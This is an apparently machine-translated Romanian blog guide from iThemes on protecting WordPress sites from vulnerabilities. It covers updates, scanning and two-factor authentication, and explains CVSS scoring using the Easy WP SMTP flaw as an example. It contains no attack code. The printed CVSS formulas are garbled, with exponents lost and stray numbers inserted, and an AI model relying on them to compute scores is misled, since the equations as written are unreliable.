Autentificarea cu doi factori este un proces de verificare a identității unei persoane prin necesitatea a două metode separate de verificare. Google a împărtășit pe blogul său că utilizarea autentificării cu doi factori poate opri 100% din atacurile automate de bot.

Funcția de autentificare cu doi factori iThemes Security Pro oferă o mulțime de flexibilitate atunci când implementați 2fa pe site-ul dvs. web. Puteți activa doi factori pentru toți sau unii dintre utilizatorii dvs. și vă puteți forța utilizatorii la nivel înalt să utilizeze 2fa la fiecare autentificare.

Cum să vă protejați site-ul WordPress de vulnerabilitățile WordPress

Să aruncăm o privire la câțiva pași care pot fi luați pentru a vă proteja site-ul web de vulnerabilitățile WordPress.

1. Păstrați software-ul WordPress la zi

A avea un plugin sau o temă vulnerabilă pentru care este disponibil un patch, dar care nu este aplicat, este vinovatul numărul unu al site-urilor WordPress piratate. Aceasta înseamnă că majoritatea vulnerabilităților sunt exploatate DUPĂ ce a fost lansat un patch pentru vulnerabilitate.

Încălcarea foarte raportată a lui Equifax ar fi putut fi prevenită dacă și-ar fi actualizat software-ul. Pentru încălcarea Equifax, pur și simplu nu a existat nicio scuză.

Ceva la fel de simplu ca actualizarea software-ului dvs. vă poate proteja. Așadar, nu ignorați acele actualizări WordPress - actualizările sunt una dintre cele mai elementare componente ale WordPress și toată securitatea web.

Funcția de gestionare a versiunilor iThemes Security Pro permite personalizarea și automatizarea actualizărilor dvs. WordPress.

2. Țineți evidența vulnerabilităților WordPress

Menținerea pluginurilor și temelor actualizate nu vă va proteja de orice vulnerabilitate. Unele pluginuri și teme au fost abandonate de dezvoltatorii care le-au creat.

Din păcate, dacă un plugin sau o temă abandonată are o vulnerabilitate, nu va primi niciodată un patch. Hackerii vor viza site-urile web care utilizează aceste pluginuri vulnerabile acum.

Dacă aveți un plugin abandonat cu o vulnerabilitate cunoscută pe site-ul dvs., le oferiți hackerilor planurile de care au nevoie pentru a prelua site-ul dvs. web. De aceea trebuie să țineți evidența tuturor celor mai recente vulnerabilități.

Este greu să urmăriți fiecare vulnerabilitate WordPress dezvăluită și să comparați această listă cu versiunile de pluginuri și teme pe care le-ați instalat pe site-ul dvs. web. Urmărirea vulnerabilităților este diferența dintre a avea un site securizat față de unul pe care hackerii îl vor exploata cu ușurință.

Vești bune pentru tine! Urmărim și împărtășim fiecare vulnerabilitate dezvăluită în buletinele noastre de vulnerabilități WordPress.

3. Scanați-vă site-ul web pentru a găsi vulnerabilități

O modalitate mai rapidă este de a vă proteja site-ul web împotriva exploatărilor ușoare ale hackerilor este de a utiliza scanări automate pentru a vă verifica site-urile web pentru vulnerabilități cunoscute.

IThemes Security Pro Site Scanner este modul dvs. de a automatiza protecția împotriva vulnerabilităților pe toate site-urile dvs. WordPress. Site Scanner verifică site-ul dvs. pentru vulnerabilități cunoscute și va aplica automat un patch dacă este disponibil.

Site-ul iThemes Security Pro verifică 3 tipuri de vulnerabilități.

1. Vulnerabilități WordPress
2. Vulnerabilități ale pluginului
3. Vulnerabilități tematice

Funcția iThemes Sync Pro Site Audit utilizează puterea Google Lighthouse pentru a vă proteja site-ul web. Auditul site-ului verifică și semnalizează paginile care includ biblioteci front-end JavaScript cu vulnerabilități de securitate cunoscute.

Este o practică obișnuită pentru dezvoltatori să utilizeze coduri terță parte - cum ar fi bibliotecile JS - în pluginurile și temele lor. Din păcate, dacă bibliotecile nu sunt întreținute corect, pot crea vulnerabilități pe care atacatorii le pot folosi pentru a vă pirata site-ul web. Utilizarea componentelor cu vulnerabilități cunoscute se află pe lista OWASP Top 10.

Auditul site-ului mi-a salvat slănina! Am creat un program de audit pentru ca Sync Pro să efectueze audituri automate săptămânale și să-mi trimită prin e-mail rapoartele de audit. Țin totul actualizat și de aceea am fost șocat când am văzut într-unul din auditurile site-ului meu web că foloseam biblioteci JavaScript cu vulnerabilități de securitate cunoscute.

Raportul mi-a indicat o versiune învechită a jQuery din directorul WordPress al site-ului, plin de vulnerabilități cunoscute! Din fericire pentru mine, am văzut în Sync Pro Auditul site-ului meu că foloseam biblioteci JavaScript cu vulnerabilități de securitate cunoscute și că am putut rezolva problema înainte ca site-ul meu să fie piratat.

Cum se măsoară un risc de vulnerabilitate WordPress

Există mai multe tipuri de vulnerabilități WordPress, toate cu diferite grade de risc. Din fericire pentru noi, baza de date națională a vulnerabilităților - un proiect al Institutului Național de Știință și Tehnologie - are un calculator de sistem de notare a vulnerabilității pentru a determina riscul unei vulnerabilități.

Această secțiune a ghidului de vulnerabilitate WordPress va acoperi valorile și nivelurile de severitate ale sistemului de notare a vulnerabilității. Deși această secțiune este destul de tehnică, unii utilizatori ar putea fi utilă pentru aprofundarea înțelegerii modului în care sunt evaluate vulnerabilitățile WordPress și severitatea lor.

Valori comune ale sistemului de notare a vulnerabilității WordPress

Ecuația sistemului de notare a vulnerabilității folosește trei seturi diferite de scoruri pentru a determina scorul general de severitate.

1. Valori de bază

Grupul metric de bază reprezintă caracteristicile unei vulnerabilități care sunt constante în mediile utilizatorilor.

Valorile de bază sunt împărțite în două grupuri, exploatabilitate și impact.

1.1. Valori de exploatare

Scorul de exploatabilitate se bazează pe cât de dificil este pentru un atacator să profite de vulnerabilitate. Scorul este calculat folosind 5 variabile diferite.

1.1.1. Vector de atac (AV)

Scorul vectorului de atac se bazează pe metoda în care este exploatată vulnerabilitatea. Scorul va fi mai mare cu cât un atacator poate fi mai îndepărtat pentru a exploata vulnerabilitatea.

Ideea este că numărul potențialilor atacatori va fi mult mai mare dacă vulnerabilitatea poate fi exploatată printr-o rețea în comparație cu o vulnerabilitate care necesită acces fizic la un dispozitiv exploatat.

Cu cât există mai mulți potențiali atacatori, cu atât este mai mare riscul de exploatare și, prin urmare, scorul Vectorului de atac acordat vulnerabilității va fi mai mare.

1.1.2. Complexitatea atacului (AC)

Valoarea complexității se bazează pe condițiile necesare pentru a exploata vulnerabilitatea. Unele condiții pot necesita colectarea mai multor informații despre țintă, prezența anumitor setări de configurare a sistemului sau excepții de calcul.

Scorul de complexitate al atacului va fi mai mare cu cât complexitatea necesară pentru exploatarea vulnerabilității este mai mică.

1.1.3. Privilegii necesare (PR)

Scorul privilegiilor necesare este calculat pe baza privilegiilor pe care trebuie să le obțină un atacator înainte de a exploata o vulnerabilitate. Ne vom scufunda puțin mai mult în secțiunea autentificat vs. neautentificat.

Scorul va fi cel mai mare dacă nu sunt necesare privilegii.

1.1.4. Interacțiunea cu utilizatorul (UI)

Scorul de interacțiune cu utilizatorul este determinat pe baza faptului dacă o vulnerabilitate necesită sau nu interacțiunea cu utilizatorul pentru a fi exploatată.

Scorul va fi cel mai mare atunci când nu este necesară interacțiunea cu utilizatorul pentru ca un atacator să exploateze vulnerabilitatea.

1.1.5. Domeniul de aplicare

Scorul scopului se bazează pe o vulnerabilitate într-o componentă software pentru a avea impact asupra resurselor dincolo de sfera sa de securitate.

Domeniul de securitate cuprinde alte componente care oferă funcționalitate numai acelei componente, chiar dacă aceste alte componente au propria autoritate de securitate.

Scorul este cel mai mare atunci când are loc o modificare a domeniului.

1.2. Valori de impact

Măsurile de impact surprind efectele directe ale unei vulnerabilități exploatate cu succes.

1.2.1. Impact confidențial (C)

Acest scor de impact confidențial măsoară impactul asupra confidențialității informațiilor gestionate de software-ul exploatat.

Scorul este cel mai mare atunci când pierderea pentru software-ul afectat este mai mare.

1.2.2. Integritate (I)

Acest scor de integritate se bazează pe impactul asupra integrității unei vulnerabilități exploatate cu succes.

Scorul este cel mai mare atunci când consecința software-ului afectat este mai mare.

1.2.3. Disponibilitate (A)

Scorul de disponibilitate se bazează pe impactul disponibilității software-ului exploatat.

Scorul este cel mai mare atunci când consecința componentei afectate este mai mare.

Scorul de bază Calculul scorului CVSS

Scorul de bază este o funcție a ecuațiilor de scor de impact și exploatabilitate. Unde scorul de bază este definit ca,

 If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

2. Valori ale scorului temporal

Metricele temporale măsoară starea actuală a tehnicilor de exploatare, existența oricăror patch-uri sau soluții sau încrederea pe care o avem în descrierea unei vulnerabilități.

Se așteaptă ca valorile temporale să se schimbe în timp.

2.1. Maturitatea codului de exploatare (E)

Maturitatea codului de exploatare se bazează pe probabilitatea ca vulnerabilitatea să fie atacată.

Cu cât o vulnerabilitate poate fi exploatată mai ușor, cu atât scorul de vulnerabilitate este mai mare.

2.2. Nivelul de remediere (RL)

Nivelul de remediere al unei vulnerabilități este un factor important pentru stabilirea priorităților. Soluțiile alternative sau remedierile rapide pot oferi remedieri intermediare până la emiterea unui patch sau upgrade oficial.

Cu cât o soluție este mai puțin oficială și permanentă, cu atât scorul de vulnerabilitate este mai mare.

2.3. Raportează încrederea (RC)

Metrica Raportului de încredere măsoară nivelul de încredere că există o vulnerabilitate și credibilitatea detaliilor tehnice.

Cu cât o vulnerabilitate este validată de furnizor sau de alte surse de încredere, cu atât scorul este mai mare.

Calculul scorului CVSS temporar

Scorul temporal este definit ca,

 Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

3. Valori de scor mediu

Metricele de mediu permit analiștilor să personalizeze CVSS notat pe baza importanței activelor IT afectate.

Valorile de exploatare a mediului și impactul sunt un echivalent modificat al valorilor de bază și li se atribuie valori pe baza plasării componentelor infrastructurii organizaționale. Consultați secțiunile Metrici de bază de mai sus pentru a vizualiza valorile și descrierile valorilor de exploatare și impact.

Valorile de mediu conțin un grup suplimentar, Impact Subscore Modifiers.

3.1. Valori ale modificatorilor de abonament la impact

Metricele Impact Subscore Modifiers evaluează cerințele specifice de securitate pentru confidențialitate (CR), integritate (IR) și disponibilitate (AR), permițând ca scorul de mediu să fie ajustat în funcție de mediul utilizatorilor.

Calculul scorului CVSS de mediu

Scorul de mediu este definit ca,

 If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

Scorul CVSS general și severitatea

Scorul general al sistemului de notare a vulnerabilității comune sau scorul CVSS este o reprezentare a scorurilor de bază, temporale și de mediu.

Scorul general CVSS poate fi folosit pentru a vă face o idee despre cât de gravă sau gravă este o vulnerabilitate.

Exemplu de evaluare a severității CVSS în lumea reală

În Buletinul nostru de vulnerabilități din decembrie 2020, am raportat o vulnerabilitate în pluginul Easy WP SMTP. Vulnerabilitatea zero-day (vom acoperi vulnerabilitățile zero-day în secțiunea următoare) a permis unui atacator să preia controlul unui cont de administrator și a fost exploatat în sălbăticie.

Aruncând o privire la intrarea în baza de date a vulnerabilității naționale, putem găsi gradul de severitate al vulnerabilității WP SMTP.

Să prezentăm câteva lucruri din captura de ecran WP SMTP NVDB de mai sus.

Scorul de bază : scorul de bază este de 7,5, ceea ce ne spune că gradul de severitate al vulnerabilității este ridicat.

Vector : vectorul ne spune că scorul se bazează pe ecuațiile de vulnerabilitate CVSS 3.1 și pe valorile utilizate pentru a calcula scorul.

Iată porțiunea de măsurare a vectorului.

 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Acum, să folosim valorile metrice de bază și descrierile de mai sus din acest post pentru a înțelege cele opt valori metrice ale vectorului.

1. AV: N - Aceasta înseamnă că Vectorul de atac (AV) al vulnerabilității este Rețeaua (N). Cu alte cuvinte, un atacator are nevoie doar de acces la rețea pentru a exploata vulnerabilitatea.
2. AC: L - Complexitatea de atac (AC) a vulnerabilității este scăzută (L). Cu alte cuvinte, orice script pentru copii poate exploata vulnerabilitatea.
3. PR: N - Privilegiile necesare (PR) necesare pentru a exploata vulnerabilitatea este Nici unul (N). Deci, vulnerabilitatea nu necesită exploatarea unui utilizator autentificat. (Vom acoperi diferența dintre vulnerabilitățile autentificate și neautentificate mai târziu în această postare.)
4. UI: N - Interacțiunea cu utilizatorul (UI) necesară pentru a exploata această vulnerabilitate este Niciuna (N). Deci, atacatorul are mijloacele de a exploata singur vulnerabilitatea.
5. S: U - Aceasta înseamnă că domeniul de aplicare (S) al vulnerabilității este neschimbat (U). În cazul acestei vulnerabilități, componenta vulnerabilă și componenta afectată sunt aceleași.
6. C: H - Impactul confidențialității (C) al vulnerabilității este ridicat (H). Atunci când această vulnerabilitate este exploatată, rezultă o pierdere totală a confidențialității.
7. I: N - Impactul de integritate (I) al acestei vulnerabilități este Nici unul (N). Atunci când vulnerabilitatea este exploatată, nu există pierderi de integritate sau de încredere a informațiilor vulnerabile.
8. A: N - Aceasta înseamnă că Impactul Disponibilității (A) este Nici unul (N). Atunci când vulnerabilitatea este exploatată, nu va exista niciun impact asupra disponibilității site-ului dvs. web.

Scorul CVSS ne poate ajuta să determinăm severitatea și scopul oricărei vulnerabilități date. În următoarele câteva secțiuni, vom acoperi câțiva termeni importanți de vulnerabilitate, care sunt adesea incluși în dezvăluirile de vulnerabilitate.

Webinar explicat despre vulnerabilitățile WordPress

Consultați seminarul nostru web care acoperă același subiect.

Încheierea: vulnerabilitățile WordPress explicate

În timp ce vulnerabilitățile WordPress sunt înfricoșătoare, vestea bună este că majoritatea vulnerabilităților WordPress sunt descoperite și reparate înainte ca băieții răi să aibă șansa de a le exploata.

Vă puteți ajuta să vă protejați site-ul împotriva vulnerabilităților, menținând nucleul WordPress, iar pluginul și temele actualizate sunt cel mai bun mod de a vă asigura că primiți cele mai recente patch-uri de securitate.

Michael Moore

În fiecare săptămână, Michael realizează Raportul de vulnerabilitate WordPress pentru a vă menține site-urile în siguranță. În calitate de manager de produs la iThemes, el ne ajută să continuăm să îmbunătățim gama de produse iThemes. Este un tocilar uriaș și iubește să învețe despre toate lucrurile tehnice, vechi și noi. Îl poți găsi pe Michael stând cu soția și fiica sa, citind sau ascultând muzică atunci când nu funcționează.